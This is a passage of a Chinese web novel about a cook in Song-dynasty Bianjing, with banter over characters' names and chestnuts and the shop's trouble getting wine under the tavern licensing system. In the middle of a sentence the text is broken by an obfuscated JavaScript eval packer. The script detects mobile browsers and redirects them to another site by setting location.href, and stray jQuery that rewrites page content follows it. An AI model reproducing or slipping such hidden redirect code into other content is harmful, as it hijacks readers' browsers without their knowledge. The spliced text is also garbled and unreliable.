墨竹堂的大门一敞,旁舍的窗牖一开,两人都可两两相望了!不行不行,绝对不行!她可不想成日见着齐恂那张冷峻面孔呢!
“不成不成,我能入侯府谋差已是三生有幸,怎可直接住下?这不是坏了规矩么?”她忙摆手推辞。
楚总管却笑道:“住与不住全凭小娘子的意思,只不过,大姐儿听闻此消息,已喜不自胜地添置了许多用具过去,便是看在大姐儿的一番心意上,小娘子也该去住住,莫教她空欢喜一场啊。”
齐悦能从何处听闻此消息?薛荔以脚趾头想也知晓,此乃齐恂今日于落苏上吃了苦,现如今还报来了。
欸......
薛荔暗暗叹了口气,但还未忘记面前这号人物,于是打起精神,挂起笑靥来问道:“楚总管可是用过晚膳了,不如同大家伙儿一块吃些,热闹热闹?”
楚总管又瞧了几眼院中共食拨霞供的众人,好不易方忍下心底的规矩之说,摆了摆手,微微板着脸:“速战速决,完事务必将院落扫干净了。”
这些个熊孩子,还有那郭栗祥,一把年纪了也同他们一块胡闹,像什么样?
见楚总管转身离去薛荔有些懊恼地回到席间,众人见她面上少了先前的兴致,皆好奇不已。
“阿荔,你这是怎么啦?”齐悦正吃着碗中翠绿的茼蒿,一边问她道。
“你往膳房旁舍里添物什了?”薛荔略显幽怨地瞅着她。
见她这般眼神,齐悦一噎:“这、这有何不对么?”
薛荔痛心疾首地闭了闭眼,罢了罢了,这丫头也是被齐恂那只大尾巴狼利用了。
她垂着脑袋,一副丧气模样。
齐悦却一头雾水,也还纳闷呢。
午后兄长特意前来告知她,道阿荔今后会在膳房旁舍歇息。她是女儿家,又是阿荔的知心好友,当知晓她需要何物,理当替她张罗一番。
她一听,此言甚是,当然得为自家好姊妹两肋插刀,于是乎,花了一个下午,便唤仆从将那旁舍布置得满满当当。
不过……瞧阿荔这神情,倒似是同自家兄长闹了矛盾,这可如何是好?
“怎地啦?闷闷不乐的。”一旁姜喜鱼啃着只虎皮鸭掌凑过来,见薛荔光顾着叹息,却不置一言。
“哎呀,喜鱼、喜鱼,可没说你喜欢八卦呀,合该唤你喜卦才好。”在自家兄长抱得美人归前,齐悦觉着很有必要将此事低调地进行下去。
“听听咋的了,阿荔若是有难处,说出来,大家伙儿亦好帮着一块儿商量法子。”姜喜鱼不以为意,“再说了,我唤作此名,那也是有来头的好么!”
“有何来头?”众人皆好奇。
姜喜鱼搁下碗筷,清了清嗓子:“我娘年轻时从不食海鲜,可偏偏怀了我之后,突然爱上了吃鱼。早晨醒来要吃酱菜鱼片粥,午膳必得是糖醋软熘鲤鱼焙索饼,夜里还得来碗奶白鲫鱼炖豆腐。总而言之,便是清蒸、红烧、炖汤之法换着来,顿顿不离鱼。我爹灵机一动,想着,这孩子瞧着跟鱼有缘,将来怕不是要当个渔民,便与我娘一合计,取了这名字。”
众人听罢,皆欢喜地哈哈笑起来,郭栗祥笑得尤为打眼,反被姜喜鱼拎了出来:“郭厨监,你有何好笑的?我瞧你的名字亦是大有来头哩!”
“那是自然,本厨监的名字正是暗藏玄机。”郭栗祥非但不恼,反而坦然骄傲地抬了抬下巴,“我出生时,我们老郭家已为庖五代,翁翁盼我将老郭家的独门手艺传承下去,做出惊为天人的膳食,于是给我取了这个有福气的名儿!”
郭栗祥——可不就是“锅里香”么!
云冯笑得险些将自己呛着:“郭厨监,那你是不是还爱吃栗子?”
“正是!本厨监非但厨艺惊人,且对板栗还颇有一番研究!”郭栗祥一本正经,娓娓道来,“谈及栗子,这其中的门道可多着呢!”
“先说说产地,做糖炒栗子,必得选燕山栗,果形玲珑,滋味蜜甜,且还肉质细腻,尤宜炒制;若要煲汤,则必选罗田栗,味甘粉少,久煮不散,且能吸收汤汁精华,与禽肉同炖最佳;若制糕点,则用邢台栗,粉感足、黏性强,捣泥后压出的栗粉细腻无渣,做栗子糕可是一绝!”
见众人听得涎水都快流下来,郭栗祥更添兴致:“再说时令,正所谓‘经霜乃甘’,霜降后采收的栗子糖分最足,滋味最佳。但某用栗有三不用,虫眼不用,壳软不用,去衣不净不用。就譬如咱们面前这碟栗糕,那必得是......”
“郭厨监,这下咱们都知晓你对板栗颇有钻研,也算是名副其实了!”眼见着郭栗祥欲迂谈阔论起来,云冯忙举杯相敬,糊弄过去。
齐悦咯咯笑起来,压低声音朝薛荔她们道:“郭厨监虽未饮酒,却已似酣酣了呢!”
“云冯老弟,我就知你是有学问的人!”郭栗祥拍了拍云冯的肩。
云冯,云冯......这名字听着,怎么颇有些耳熟。
“云冯,你又是为何唤作这名字?”薛荔问道。
云冯饶不好意思地挠了挠头,还未答呢,姜喜鱼便抢道:“莫不是父姓加母姓?话说回来,要是没人告知我,我还真以为你唤作云冯(féng)呢!”
“才不是!”云冯百般无奈道,“我名“冯”,取的是同舟共济之意。每回初次相见,我都得率先介绍一番姓名,否则他日文书念名,总有人念错。长到这般大,我都习以为常了。”
薛荔静静一想,终于明白自己为何觉着云冯这名儿怪怪的了——云冯,那不就是“云片糕”中的“云片”么?读起来多相似呀!
相传乾隆皇帝下江南时,应汪盐商之请,至他家花园赏瑞雪纷飞。因吟诗受阻,盐商献上无名茶点解围,乾隆品尝后赞不绝口,见糕片薄如雪,遂赐名“雪片糕”。
可后来又因笔误,将“雪”写作“云”,错字反而成佳话,故定“云片糕”之名。
不过在大宋,云片糕还不叫云片糕,而是因其“薄如素绢”,唤为“素云片”,亦是一个颇为清丽的名字。
对了!
眼下宋朝的素云片做法还较为粗糙,辅料亦很单一,她何不效仿后世云片糕的制法,再寻个有头有脸的人物为其命名呢?这样一来,珍味铺免不了大赚一笔!
薛荔暗暗佩服自己的商业头脑。
至于,这“有头有脸”之人么......哼哼,她已有人选了!
-
宋人素来视饮酒为雅事,至盛夏时节,更是杯盏交错不绝,觞酌之人倍增。
《宋会要》中有载,“在京酒户,岁用糯米三十万石”,而一斗粮食可酿一斗酒,这便意味着,彼时京城之酒户一年便可酿造三百万斗酒。要知,当时汴京城人口不过一百三十万左右,此比对之鲜然已是惊人。
然而,纵然汴京被誉为酒城,饮酒之人数不胜数,但眼下的珍味铺不过一区区脚店,连自家酿酒的权力都无,酒水全仰赖官办酒坊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804407|188378||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
与大酒楼供应。偏生这唯一一条出路还时常断货,根本无法满足所需。酒水不足,食客自也渐少。
酒水一少,来用膳的食客便也跟着渐少起来。
为着此事,薛荔与姜喜鱼日日犯愁。
姜喜鱼道:“京中酒楼,分正店、脚店两种。所谓正店呢,便是如樊楼、会仙楼、仁和店那般的七十二家,往酒务司纳了官曲钱,便可自家起窖酿酒。而脚店,亦就是咱们这样的,则好比那‘没脚蟹’,全仰仗正店手指缝里漏点酒吃。若胆敢投机倒把,私造曲料,甚或私酿酒浆,轻则杖脊黥面,发配边塞,重则当即处死!”
薛荔侧身伏在饭桌上,耳边听着,左手“哒哒”拨算盘,右手“唰唰”在麻纸上写算:“若以寻常黄酒来算,正店自酿成本约十五文一斤,卖给脚店就是二十文,市价则抬至三十八文。依正店规模与酒水承包定额来算,一个月下来,两百贯是跑不了的。可咱们这小脚店,一月能挣得四十贯便算不错了。且不说,正店还能享官府廪给的低价酒曲,而咱们连酒水都常常购不着。”
她瞧着麻纸上的黑字价,又叹:““且长久依赖正店亦有弊端。一来正店乃官府指定,咱们既不可选,也无从议价;二来咱们是小铺子,正店总会将好酒掺着些劣酒卖给咱们,终究免不了要吃哑巴亏。”
“若咱们珍味铺也能得那酿酒权就好了。”姜喜鱼忍不住道,“我听闻,每年二月官府会办买扑会,承买之人以实封投状,价高者得,咱们说不准也有机会呢?”
“眼下这情形,怕是还不行。”薛荔摇了摇头,“那买扑须先交天价税款,还得以家产抵押,而且光是铺面规模这块,咱就达不了标呀。”
能自酿的店铺,如何也得是重屋多层的大铺,同寻常脚店要可一眼区分开来,还必得配备专用的酒窖与酿具,否则官府派来检查的酒务官怎会准许通过?
“规模太小了,官府看不上,是不会发放酿酒许可的。”
说到底,还是钱的事情。
她忆起宋仁宗时,白楼之所以可从普通酒楼转为正店,正是因财力雄厚。甫一拿下酿酒权,便承包三千户脚店。早听闻,白楼每年的课税便可达三十万贯。
要不说家家酒楼都惦记这酿酒权呢?
薛荔从这令人咂舌的数字中回过神来,惊叹之余,却也燃起斗志。
“总之,无论酿不酿酒,咱们都得把钱先挣足了!”她霍然起身,拍桌而定,唬得姜喜鱼一哆嗦,“咱们的酒水或许比不上大酒楼的,但菜品上,只要肯下功夫,绝不会输半分!”
“莫非你又研发出新菜了?”姜喜鱼眼里放光。
薛荔却伸出一根手指,讳莫如深地左右摆了摆:“非也,非也。”
-
俗话说得好,知己知彼,方能百战不殆。
虽说她们珍味铺如今的规模还不大,但朝着正店的方向迈进,绝无错路!
这不,薛荔正立在这新跻身正店,亦是近来大为红火、风头无两的春酲楼前,准备进去一探其菜品奥妙。
在膳食一事上,权贵富人有权贵富人的乐趣,平头百姓自也有平头百姓的乐趣。她若能取大酒楼之精华,做出滋味只优不差,而物美价廉的菜品,生意蒸蒸日上便亦是指日可待之事。
薛荔抬首望去,只见春酲楼三层高阁,琼台玉宇,云窗雾槛。门前是以彩帛搭起的齐楼之高的彩楼欢门,时令繁花层叠缀满,檐角垂下如绦的丝绸流苏,玲珑堂皇。